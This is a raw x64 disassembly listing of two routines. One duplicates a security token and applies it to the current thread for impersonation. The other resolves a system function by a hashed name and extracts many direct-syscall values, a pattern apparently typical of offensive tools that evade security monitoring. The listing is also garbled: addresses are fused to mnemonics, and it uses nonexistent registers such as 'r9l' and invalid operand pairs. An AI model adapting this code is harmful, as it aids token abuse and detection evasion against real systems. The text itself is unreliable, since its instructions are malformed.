14001da98mov r9l, 4
14001da9emov [rsp+72], r10
14001daa3mov [rsp+64], r11l
14001daa8mov [rsp+68], r11l
14001daadcall SysNtQueryInformationToken
14001dab2test eax, eax
14001dab4jns 0x14001daeb
14001dab6mov ecx, eax
14001dab8mov [rsp+60], eax
14001dabcmov rax, [rip+59565]
14001dac3call [rax+348]
14001dac9mov r9l, [rsp+60]
14001dacemov r8l, 1300
14001dad4lea rdx, [rip+60949]
14001dadbmov [rsp+32], eax
14001dadflea rcx, [rip+49627]
14001dae6jmp 0x14001dbea
14001daeb
14001daebloc_14001daeb:
14001daebcmp [rsp+64], 1
14001daf0lea rsi, [rsp+72]
14001daf5jne 0x14001db96
14001dafbmov eax, 0xffffffff80000003
14001db00mov [rsp+40], rsi
14001db05xor edx, edx
14001db07xor ecx, ecx
14001db09shl rax, 2
14001db0dmov [rsp+120], edx
14001db11xor r9l, r9l
14001db14lea r8, [rsp+96]
14001db19mov [rsp+32], 2
14001db21mov edx, 12
14001db26mov [rsp+84], rax
14001db2bxor eax, eax
14001db2dmov [rsp+104], rax
14001db32mov [rsp+112], rax
14001db37lea rax, [rsp+84]
14001db3cmov [rsp+128], rcx
14001db44mov rcx, rbx
14001db47mov [rsp+92], 1
14001db4emov [rsp+96], 48
14001db56mov [rsp+136], rax
14001db5ecall SysNtDuplicateToken
14001db63test eax, eax
14001db65jns 0x14001db6e
14001db67
14001db67loc_14001db67:
14001db67xor eax, eax
14001db69jmp 0x14001dbf4
14001db6e
14001db6eloc_14001db6e:
14001db6emov r9l, 8
14001db74mov r8, rsi
14001db77mov edx, 5
14001db7cmov rcx, -2
14001db83call SysNtSetInformationThread
14001db88mov rcx, [rsp+72]
14001db8dmov ebx, eax
14001db8fcall SysNtClose
14001db94jmp 0x14001dbb7
14001db96
14001db96loc_14001db96:
14001db96mov r9l, 8
14001db9cmov r8, rsi
14001db9fmov edx, 5
14001dba4mov rcx, -2
14001dbabmov [rsp+72], rbx
14001dbb0call SysNtSetInformationThread
14001dbb5mov ebx, eax
14001dbb7
14001dbb7loc_14001dbb7:
14001dbb7mov eax, 1
14001dbbctest ebx, ebx
14001dbbejns 0x14001dbf4
14001dbc0mov rax, [rip+59305]
14001dbc7mov ecx, ebx
14001dbc9call [rax+348]
14001dbcfmov r9l, ebx
14001dbd2mov r8l, 1354
14001dbd8lea rdx, [rip+60689]
14001dbdfmov [rsp+32], eax
14001dbe3lea rcx, [rip+49429]
14001dbea
14001dbealoc_14001dbea:
14001dbeacall printf
14001dbefjmp 0x14001db67
14001dbf4
14001dbf4loc_14001dbf4:
14001dbf4add rsp, 144
14001dbfbpop rbx
14001dbfcpop rsi
14001dbfdpop rdi
14001dbferet
14001da50

14001dbff
14001dbff // align 0x10

14001dc00
14001dc00SysInitialize:
14001dc00push rbx
14001dc01xor eax, eax
14001dc03sub rsp, 64
14001dc07mov [rsp+56], rax
14001dc0cxor eax, eax
14001dc0etest rcx, rcx
14001dc11je 0x14001e861
14001dc17mov edx, 0xffffffff8cfcc776
14001dc1ccall LdrFunctionAddr
14001dc21mov rbx, [rip+59208]
14001dc28test rax, rax
14001dc2bmov rcx, rax
14001dc2eje 0x14001dc75
14001dc30lea r9, [rsp+56]
14001dc35xor r8l, r8l
14001dc38mov edx, 1
14001dc3dcall SysExtract
14001dc42mov rax, [rsp+56]
14001dc47test rax, rax
14001dc4aje 0x14001dc55
14001dc4cmov [rbx+2028], rax
14001dc53jmp 0x14001dc75
14001dc55
14001dc55loc_14001dc55:
14001dc55lea r9, [rip+47463]
14001dc5cmov r8l, 32
14001dc62lea rdx, [rip+61639]
14001dc69lea rcx, [rip+47191]
14001dc70call printf
14001dc75
14001dc75loc_14001dc75:
14001dc75mov rcx, [rbx+492]
14001dc7ctest rcx, rcx
14001dc7fje 0x14001dccc
14001dc81xor r9l, r9l
14001dc84lea r8, [rbx+2040]
14001dc8bmov edx, 1
14001dc90call SysExtract
14001dc95mov rax, [rbx+492]
14001dc9clea r9, [rip+47426]
14001dca3mov r8l, 44
14001dca9lea rdx, [rip+61568]
14001dcb0lea rcx, [rip+47419]
14001dcb7mov [rsp+40], rax
14001dcbcmovzx eax, [rbx+2040]
14001dcc3mov [rsp+32], eax
14001dcc7call printf
14001dccc
14001dcccloc_14001dccc:
14001dcccmov rcx, [rbx+500]
14001dcd3test rcx, rcx
14001dcd6je 0x14001dd23
14001dcd8xor r9l, r9l
14001dcdblea r8, [rbx+2042]
14001dce2mov edx, 1
14001dce7call SysExtract
14001dcecmov rax, [rbx+500]
14001dcf3lea r9, [rip+47404]
14001dcfamov r8l, 45
14001dd00lea rdx, [rip+61481]
14001dd07lea rcx, [rip+47332]
14001dd0emov [rsp+40], rax
14001dd13movzx eax, [rbx+2042]
14001dd1amov [rsp+32], eax
14001dd1ecall printf
14001dd23
14001dd23loc_14001dd23:
14001dd23mov rcx, [rbx+516]
14001dd2atest rcx, rcx
14001dd2dje 0x14001dd7a
14001dd2fxor r9l, r9l
14001dd32lea r8, [rbx+2046]
14001dd39mov edx, 1
14001dd3ecall SysExtract
14001dd43mov rax, [rbx+516]
14001dd4alea r9, [rip+47335]
14001dd51mov r8l, 46
14001dd57lea rdx, [rip+61394]
14001dd5elea rcx, [rip+47245]
14001dd65mov [rsp+40], rax
14001dd6amovzx eax, [rbx+2046]
14001dd71mov [rsp+32], eax
14001dd75call printf
14001dd7a
14001dd7aloc_14001dd7a:
14001dd7amov rcx, [rbx+508]
14001dd81test rcx, rcx
14001dd84je 0x14001ddd1
14001dd86xor r9l, r9l
14001dd89lea r8, [rbx+2044]
14001dd90mov edx, 1
14001dd95call SysExtract
14001dd9amov rax, [rbx+508]
14001dda1lea r9, [rip+47262]
14001dda8mov r8l, 47
14001ddaelea rdx, [rip+61307]
14001ddb5lea rcx, [rip+47158]
14001ddbcmov [rsp+40], rax
14001ddc1movzx eax, [rbx+2044]
14001ddc8mov [rsp+32], eax
14001ddcccall printf
14001ddd1
14001ddd1loc_14001ddd1:
14001ddd1mov rcx, [rbx+524]
14001ddd8test rcx, rcx
14001dddbje 0x14001de28
14001ddddxor r9l, r9l
14001dde0lea r8, [rbx+2048]
14001dde7mov edx, 1
14001ddeccall SysExtract
14001ddf1mov rax, [rbx+524]
14001ddf8lea r9, [rip+47194]
14001ddffmov r8l, 48
14001de05lea rdx, [rip+61220]
14001de0clea rcx, [rip+47071]
14001de13mov [rsp+40], rax
14001de18movzx eax, [rbx+2048]
14001de1fmov [rsp+32], eax
14001de23call printf
14001de28
14001de28loc_14001de28:
14001de28mov rcx, [rbx+532]
14001de2ftest rcx, rcx
14001de32je 0x14001de7f
14001de34xor r9l, r9l
14001de37lea r8, [rbx+2050]
14001de3emov edx, 1
14001de43call SysExtract
14001de48mov rax, [rbx+532]
14001de4flea r9, [rip+47126]
14001de56mov r8l, 49
14001de5clea rdx, [rip+61133]
14001de63lea rcx, [rip+46984]
14001de6amov [rsp+40], rax
14001de6fmovzx eax, [rbx+2050]
14001de76mov [rsp+32], eax
14001de7acall printf
14001de7f
14001de7floc_14001de7f:
14001de7fmov rcx, [rbx+540]
14001de86test rcx, rcx
14001de89je 0x14001ded6
14001de8bxor r9l, r9l
14001de8elea r8, [rbx+2052]
14001de95mov edx, 1
14001de9acall SysExtract
14001de9fmov rax, [rbx+540]
14001dea6lea r9, [rip+47056]
14001deadmov r8l, 50
14001deb3lea rdx, [rip+61046]
14001debalea rcx, [rip+46897]
14001dec1mov [rsp+40], rax
14001dec6movzx eax, [rbx+2052]
14001decdmov [rsp+32], eax
14001ded1call printf
14001ded6
14001ded6loc_14001ded6:
14001ded6mov rcx, [rbx+548]
14001deddtest rcx, rcx
14001dee0je 0x14001df2d
14001dee2xor r9l, r9l
14001dee5lea r8, [rbx+2054]
14001deecmov edx, 1
14001def1call SysExtract
14001def6mov rax, [rbx+548]
14001defdlea r9, [rip+46986]
14001df04mov r8l, 51
14001df0alea rdx, [rip+60959]
14001df11lea rcx, [rip+46810]
14001df18mov [rsp+40], rax
14001df1dmovzx eax, [rbx+2054]
14001df24mov [rsp+32], eax
14001df28call printf
14001df2d
14001df2dloc_14001df2d:
14001df2dmov rcx, [rbx+556]
14001df34test rcx, rcx
14001df37je 0x14001df84
14001df39xor r9l, r9l
14001df3clea r8, [rbx+2056]
14001df43mov edx, 1
14001df48call SysExtract
14001df4dmov rax, [rbx+556]
14001df54lea r9, [rip+46915]
14001df5bmov r8l, 52
14001df61lea rdx, [rip+60872]
14001df68lea rcx, [rip+46723]
14001df6fmov [rsp+40], rax
14001df74movzx eax, [rbx+2056]
14001df7bmov [rsp+32], eax
14001df7fcall printf
14001df84
14001df84loc_14001df84:
14001df84mov rcx, [rbx+564]
14001df8btest rcx, rcx
14001df8eje 0x14001dfdb
14001df90xor r9l, r9l
14001df93lea r8, [rbx+2058]
14001df9amov edx, 1
14001df9fcall SysExtract
14001dfa4mov rax, [rbx+564]
14001dfablea r9, [rip+46843]
14001dfb2mov r8l, 53
14001dfb8lea rdx, [rip+60785]
14001dfbflea rcx, [rip+46636]
14001dfc6mov [rsp+40], rax
14001dfcbmovzx eax, [rbx+2058]
14001dfd2mov [rsp+32], eax
14001dfd6call printf
14001dfdb
14001dfdbloc_14001dfdb:
14001dfdbmov rcx, [rbx+572]
14001dfe2test rcx, rcx
14001dfe5je 0x14001e032
14001dfe7xor r9l, r9l
14001dfealea r8, [rbx+2060]
14001dff1mov edx, 1
14001dff6call SysExtract
14001dffbmov rax, [rbx+572]
14001e002lea r9, [rip+46770]
14001e009mov r8l, 54
14001e00flea rdx, [rip+60698]
14001e016lea rcx, [rip+46549]
14001e01dmov [rsp+40], rax
14001e022movzx eax, [rbx+2060]
14001e029mov [rsp+32], eax
14001e02dcall printf
14001e032
14001e032loc_14001e032:
14001e032mov rcx, [rbx+580]
14001e039test rcx, rcx
14001e03cje 0x14001e089
14001e03exor r9l, r9l
14001e041lea r8, [rbx+2062]
14001e048mov edx, 1
14001e04dcall SysExtract
14001e052mov rax, [rbx+580]
14001e059lea r9, [rip+46700]
14001e060mov r8l, 55
14001e066lea rdx, [rip+60611]
14001e06dlea rcx, [rip+46462]
14001e074mov [rsp+40], rax
14001e079movzx eax, [rbx+2062]
14001e080mov [rsp+32], eax
14001e084call printf
14001e089
14001e089loc_14001e089:
14001e089mov rcx, [rbx+588]
14001e090test rcx, rcx
14001e093je 0x14001e0e0
14001e095xor r9l, r9l
14001e098lea r8, [rbx+2064]
14001e09fmov edx, 1
14001e0a4call SysExtract
14001e0a9mov rax, [rbx+588]
14001e0b0lea r9, [rip+46631]
14001e0b7mov r8l, 56
14001e0bdlea rdx, [rip+60524]
14001e0c4lea rcx, [rip+46375]
14001e0cbmov [rsp+40], rax
14001e0d0movzx eax, [rbx+2064]
14001e0d7mov [rsp+32], eax
14001e0dbcall printf
14001e0e0
14001e0e0loc_14001e0e0:
14001e0e0mov rcx, [rbx+596]
14001e0e7test rcx, rcx
14001e0eaje 0x14001e137
14001e0ecxor r9l, r9l
14001e0eflea r8, [rbx+2066]
14001e0f6mov edx, 1
14001e0fbcall SysExtract
14001e100mov rax, [rbx+596]
14001e107lea r9, [rip+46563]
14001e10emov r8l, 57
14001e114lea rdx, [rip+60437]
14001e11blea rcx, [rip+46288]
14001e122mov [rsp+40], rax
14001e127movzx eax, [rbx+2066]
14001e12emov [rsp+32], eax
14001e132call printf
14001e137
14001e137loc_14001e137:
14001e137mov rcx, [rbx+604]
14001e13etest rcx, rcx
14001e141je 0x14001e18e
14001e143xor r9l, r9l
14001e146lea r8, [rbx+2068]
14001e14dmov edx, 1
14001e152call SysExtract
14001e157mov rax, [rbx+604]
14001e15elea r9, [rip+46495]
14001e165mov r8l, 58
14001e16blea rdx, [rip+60350]
14001e172lea rcx, [rip+46201]
14001e179mov [rsp+40], rax
14001e17emovzx eax, [rbx+2068]
14001e185mov [rsp+32], eax
14001e189call printf
14001e18e
14001e18eloc_14001e18e:
14001e18emov rcx, [rbx+612]
14001e195test rcx, rcx
14001e198je 0x14001e1e5
14001e19axor r9l, r9l
14001e19dlea r8, [rbx+2070]
14001e1a4mov edx, 1
14001e1a9call SysExtract
14001e1aemov rax, [rbx+612]
14001e1b5lea r9, [rip+46434]
14001e1bcmov r8l, 59
14001e1c2lea rdx, [rip+60263]
14001e1c9lea rcx, [rip+46114]
14001e1d0mov [rsp+40], rax
14001e1d5movzx eax, [rbx+2070]
14001e1dcmov [rsp+32], eax
14001e1e0call printf
14001e1e5
14001e1e5loc_14001e1e5:
14001e1e5mov rcx, [rbx+620]
14001e1ectest rcx, rcx
14001e1efje 0x14001e23c
14001e1f1xor r9l, r9l
14001e1f4lea r8, [rbx+2072]
14001e1fbmov edx, 1
14001e200call SysExtract
14001e205mov rax, [rbx+620]
14001e20clea r9, [rip+46372]
14001e213mov r8l, 60
14001e219lea rdx, [rip+60176]
14001e220lea rcx, [rip+46027]
14001e227mov [rsp+40], rax
14001e22cmovzx eax, [rbx+2072]
14001e233mov [rsp+32], eax
14001e237call printf
14001e23c
14001e23cloc_14001e23c:
14001e23cmov rcx, [rbx+636]
14001e243test rcx, rcx
14001e246je 0x14001e293
14001e248xor r9l, r9l
14001e24blea r8, [rbx+2074]
14001e252mov edx, 1
14001e257call SysExtract
14001e25cmov rax, [rbx+636]
14001e263lea r9, [rip+46307]
14001e26amov r8l, 61
14001e270lea rdx, [rip+60089]
14001e277lea rcx, [rip+45940]
14001e27emov [rsp+40], rax
14001e283movzx eax, [rbx+2074]
14001e28amov [rsp+32], eax
14001e28ecall printf
14001e293
14001e293loc_14001e293:
14001e293mov rcx, [rbx+644]
14001e29atest rcx, rcx
14001e29dje 0x14001e2ea
14001e29fxor r9l, r9l
14001e2a2lea r8, [rbx+2076]
14001e2a9mov edx, 1
14001e2aecall SysExtract
14001e2b3mov rax, [rbx+644]
14001e2balea r9, [rip+46244]
14001e2c1mov r8l, 62
14001e2c7lea rdx, [rip+60002]
14001e2celea rcx, [rip+45853]
14001e2d5mov [rsp+40], rax
14001e2damovzx eax, [rbx+2076]
14001e2e1mov [rsp+32], eax
14001e2e5call printf
14001e2ea
14001e2ealoc_14001e2ea:
14001e2eamov rcx, [rbx+652]
14001e2f1test rcx, rcx
14001e2f4je 0x14001e341
14001e2f6xor r9l, r9l
14001e2f9lea r8, [rbx+2078]
14001e300mov edx, 1
14001e305call SysExtract
14001e30amov rax, [rbx+652]
14001e311lea r9, [rip+46178]
14001e318mov r8l, 63
14001e31elea rdx, [rip+59915]
14001e325lea rcx, [rip+45766]
14001e32cmov [rsp+40], rax
14001e331movzx eax, [rbx+2078]
14001e338mov [rsp+32], eax
14001e33ccall printf
14001e341
14001e341loc_14001e341:
14001e341mov rcx, [rbx+660]
14001e348test rcx, rcx
14001e34bje 0x14001e398
14001e34dxor r9l, r9l
14001e350lea r8, [rbx+2080]
14001e357mov edx, 1
14001e35ccall SysExtract
14001e361mov rax, [rbx+660]
14001e368lea r9, [rip+46111]
14001e36fmov r8l, 64
14001e375lea rdx, [rip+59828]
14001e37clea rcx, [rip+45679]
14001e383mov [rsp+40], rax
14001e388movzx eax, [rbx+2080]
14001e38fmov [rsp+32], eax
14001e393call printf
14001e398
14001e398loc_14001e398:
14001e398mov rcx, [rbx+668]
14001e39ftest rcx, rcx
14001e3a2je 0x14001e3ef
14001e3a4xor r9l, r9l
14001e3a7lea r8, [rbx+2082]
14001e3aemov edx, 1
14001e3b3call SysExtract
14001e3b8mov rax, [rbx+668]
14001e3bflea r9, [rip+46044]
14001e3c6mov r8l, 65
14001e3cclea rdx, [rip+59741]
14001e3d3lea rcx, [rip+45592]
14001e3damov [rsp+40], rax
14001e3dfmovzx eax, [rbx+2082]
14001e3e6mov [rsp+32], eax
14001e3eacall printf
14001e3ef
14001e3efloc_14001e3ef:
14001e3efmov rcx, [rbx+676]
14001e3f6test rcx, rcx
14001e3f9je 0x14001e446
14001e3fbxor r9l, r9l
14001e3felea r8, [rbx+2084]
14001e405mov edx, 1
14001e40acall SysExtract
14001e40fmov rax, [rbx+676]
14001e416lea r9, [rip+45978]
14001e41dmov r8l, 66
14001e423lea rdx, [rip+59654]
14001e42alea rcx, [rip+45505]
14001e431mov [rsp+40], rax
14001e436movzx eax, [rbx+2084]
14001e43dmov [rsp+32], eax
14001e441call printf
14001e446
14001e446loc_14001e446:
14001e446mov rcx, [rbx+684]
14001e44dtest rcx, rcx
14001e450je 0x14001e49d
14001e452xor r9l, r9l
14001e455lea r8, [rbx+2086]
14001e45cmov edx, 1
14001e461call SysExtract
14001e466mov rax, [rbx+684]
14001e46dlea r9, [rip+45914]
14001e474mov r8l, 67
14001e47alea rdx, [rip+59567]
14001e481lea rcx, [rip+45418]
14001e488mov [rsp+40], rax
14001e48dmovzx eax, [rbx+2086]
14001e494mov [rsp+32], eax
14001e498call printf
14001e49d
14001e49dloc_14001e49d:
14001e49dmov rcx, [rbx+700]
14001e4a4test rcx, rcx
14001e4a7je 0x14001e4f4
14001e4a9xor r9l, r9l
14001e4aclea r8, [rbx+2088]
14001e4b3mov edx, 1
14001e4b8call SysExtract
14001e4bdmov rax, [rbx+700]
14001e4c4lea r9, [rip+45845]
14001e4cbmov r8l, 68
14001e4d1lea rdx, [rip+59480]
14001e4d8lea rcx, [rip+45331]
14001e4dfmov [rsp+40], rax
14001e4e4movzx eax, [rbx+2088]
14001e4ebmov [rsp+32], eax
14001e4efcall printf
14001e4f4
14001e4f4loc_14001e4f4:
14001e4f4mov rcx, [rbx+708]
14001e4fbtest rcx, rcx
14001e4feje 0x14001e54b
14001e500xor r9l, r9l
14001e503lea r8, [rbx+2090]
14001e50amov edx, 1
14001e50fcall SysExtract
14001e514mov rax, [rbx+708]
14001e51blea r9, [rip+45778]
14001e522mov r8l, 69
14001e528lea rdx, [rip+59393]
14001e52flea rcx, [rip+45244]
14001e536mov [rsp+40], rax
14001e53bmovzx eax, [rbx+2090]
14001e542mov [rsp+32], eax
14001e546call printf
14001e54b
14001e54bloc_14001e54b:
14001e54bmov rcx, [rbx+716]
14001e552test rcx, rcx
14001e555je 0x14001e5a2
14001e557xor r9l, r9l
14001e55alea r8, [rbx+2092]
14001e561mov edx, 1
14001e566call SysExtract
14001e56bmov rax, [rbx+716]
14001e572lea r9, [rip+45722]
14001e579mov r8l, 70
14001e57flea rdx, [rip+59306]
14001e586lea rcx, [rip+45157]
14001e58dmov [rsp+40], rax
14001e592movzx eax, [rbx+2092]
14001e599mov [rsp+32], eax
14001e59dcall printf
14001e5a2
14001e5a2loc_14001e5a2:
14001e5a2mov rcx, [rbx+724]
14001e5a9test rcx, rcx
14001e5acje 0x14001e5f9
14001e5aexor r9l, r9l
14001e5b1lea r8, [rbx+2094]
14001e5b8mov edx, 1
14001e5bdcall SysExtract
14001e5c2mov rax, [rbx+724]
14001e5c9lea r9, [rip+45656]
14001e5d0mov r8l, 71
14001e5d6lea rdx, [rip+59219]
14001e5ddlea rcx, [rip+45070]
14001e5e4mov [rsp+40], rax
14001e5e9movzx eax, [rbx+2094]
14001e5f0mov [rsp+32], eax
14001e5f4call printf
14001e5f9
14001e5f9loc_14001e5f9:
14001e5f9mov rcx, [rbx+732]
14001e600test rcx, rcx
14001e603je 0x14001e650
14001e605xor r9l, r9l
14001e608lea r8, [rbx+2096]
14001e60fmov edx, 1
14001e614call SysExtract
14001e619mov rax, [rbx+732]
14001e620lea r9, [rip+45593]
14001e627mov r8l, 72
14001e62dlea rdx, [rip+59132]
14001e634lea rcx, [rip+44983]
14001e63bmov [rsp+40], rax
14001e640movzx eax, [rbx+2096]
14001e647mov [rsp+32], eax
14001e64bcall printf
14001e650
14001e650loc_14001e650:
14001e650mov rcx, [rbx+740]
14001e657test rcx, rcx
14001e65aje 0x14001e6a7
14001e65cxor r9l, r9l
14001e65flea r8, [rbx+2098]
14001e666mov edx, 1
14001e66bcall SysExtract
14001e670mov rax, [rbx+740]
14001e677lea r9, [rip+45531]
14001e67emov r8l, 73
14001e684lea rdx, [rip+59045]
14001e68blea rcx, [rip+44896]
14001e692mov [rsp+40], rax
14001e697movzx eax, [rbx+2098]
14001e69emov [rsp+32], eax
14001e6a2call printf
14001e6a7
14001e6a7loc_14001e6a7:
14001e6a7mov rbx, [rip+56514]
14001e6aemov rcx, [rbx+452]
14001e6b5test rcx, rcx
14001e6b8je 0x14001e705
14001e6baxor r9l, r9l
14001e6bdlea r8, [rbx+2100]
14001e6c4mov edx, 1
14001e6c9call SysExtract
14001e6cemov rax, [rbx+452]
14001e6d5lea r9, [rip+45451]
14001e6dcmov r8l, 74
14001e6e2lea rdx, [rip+58951]
14001e6e9lea rcx, [rip+44802]
14001e6f0mov [rsp+40], rax
14001e6f5movzx eax, [rbx+2100]
14001e6fcmov [rsp+32], eax
14001e700call printf
14001e705
14001e705loc_14001e705:
14001e705mov rcx, [rbx+460]
14001e70ctest rcx, rcx
14001e70fje 0x14001e75c
14001e711xor r9l, r9l
14001e714lea r8, [rbx+2102]
14001e71bmov edx, 1
14001e720call SysExtract
14001e725mov rax, [rbx+460]
14001e72clea r9, [rip+45372]
14001e733mov r8l, 75
14001e739lea rdx, [rip+58864]
14001e740lea rcx, [rip+44715]
14001e747mov [rsp+40], rax
14001e74cmovzx eax, [rbx+2102]
14001e753mov [rsp+32], eax
14001e757call printf
14001e75c
14001e75cloc_14001e75c:
14001e75cmov rcx, [rbx+468]
14001e763test rcx, rcx
14001e766je 0x14001e7b3
14001e768xor r9l, r9l
14001e76blea r8, [rbx+2104]
14001e772mov edx, 1
14001e777call SysExtract
14001e77cmov rax, [rbx+468]
14001e783lea r9, [rip+45296]
14001e78amov r8l, 76
14001e790lea rdx, [rip+58777]
14001e797lea rcx, [rip+44628]
14001e79emov [rsp+40], rax
14001e7a3movzx eax, [rbx+2104]
14001e7aamov [rsp+32], eax
14001e7aecall printf
14001e7b3
14001e7b3loc_14001e7b3:
14001e7b3mov rcx, [rbx+476]
14001e7batest rcx, rcx
14001e7bdje 0x14001e80a
14001e7bfxor r9l, r9l
14001e7c2lea r8, [rbx+2106]
14001e7c9mov edx, 1
14001e7cecall SysExtract
14001e7d3mov rax, [rbx+476]
14001e7dalea r9, [rip+45232]
14001e7e1mov r8l, 77
14001e7e7lea rdx, [rip+58690]
14001e7eelea rcx, [rip+44541]
14001e7f5mov [rsp+40], rax
14001e7famovzx eax, [rbx+2106]
14001e801mov [rsp+32], eax
14001e805call printf
14001e80a
14001e80aloc_14001e80a:
14001e80amov rcx, [rbx+484]
14001e811test rcx, rcx
14001e814je 0x14001e861
14001e816xor r9l, r9l
14001e819lea r8, [rbx+2108]
14001e820mov edx, 1
14001e825call SysExtract
14001e82amov rax, [rbx+484]
14001e831lea r9, [rip+45175]
14001e838mov r8l, 78
14001e83elea rdx, [rip+58603]
14001e845lea rcx, [rip+44454]
14001e84cmov [rsp+40], rax
14001e851movzx eax, [rbx+2108]
14001e858mov [rsp+32], eax
14001e85ccall printf
14001e861
14001e861loc_14001e861:
14001e861add rsp, 64
14001e865pop rbx
14001e866ret
14001dc00